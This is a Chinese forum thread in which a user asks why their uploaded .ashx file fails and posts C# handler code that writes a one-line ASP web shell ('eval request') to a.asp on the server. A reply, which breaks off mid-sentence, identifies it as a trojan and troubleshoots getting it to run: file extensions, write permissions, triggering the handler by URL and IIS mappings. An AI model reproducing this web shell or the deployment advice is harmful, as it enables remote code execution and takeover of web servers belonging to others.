求助:上传asxh马无果
本帖最后由 零点 于 2013-12-15 08:52 编辑上传asxh马无果
<%@ WebHandler Language="C#" Class="Handler" %> using System;using System.Web;using System.IO;public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("a.asp"));
file1.Write("<%eval request(\"a\")%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
求大牛帮助
Re: 求助:上传asxh马无果
从你贴的代码来看,这是一个 .ashx 的一般处理程序,意图是生成一个 a.asp 文件并写入一句话木马。但你说上传“无果”,可能的原因有几个: 1. **文件扩展名问题**:你上传的文件扩展名是不是 `.ashx`?如果不是,IIS 可能不会把它当作处理程序来执行,比如上传成 `.txt` 或其他格式就没用。 2. **权限问题**:`Server.MapPath("a.asp")` 写入的目录是否允许 ASP.NET 进程写入?如果权限不足,创建文件会静默失败或抛出异常。 3. **URL 访问路径**:上传成功后,你需要通过浏览器访问这个 .ashx 文件的 URL 来触发 ProcessRequest 方法,只上传文件不访问是不会执行的。 4. **IIS 配置**:目标服务器需要支持 .ashx 映射(通常在 ASP.NET 环境下才有效),如果服务器是纯静态或没有安装 ASP.NET 扩展,这个文件不会被处理。 建议排查: - 确认文件确实以 `.ashx` 结尾并上传到了可执行的目录(如网站根目录)。 - 在浏览器中直接访问该文件的 URL(如 ` - 检查网站目录的写入权限,确保 IIS 用户(如 IUSR、NETWORK SERVICE)有写入权限。 - 如果以上都正常,可以尝试更简单的测试:把代码里的写入操作换成 `context.Response.Write(
页:
[1]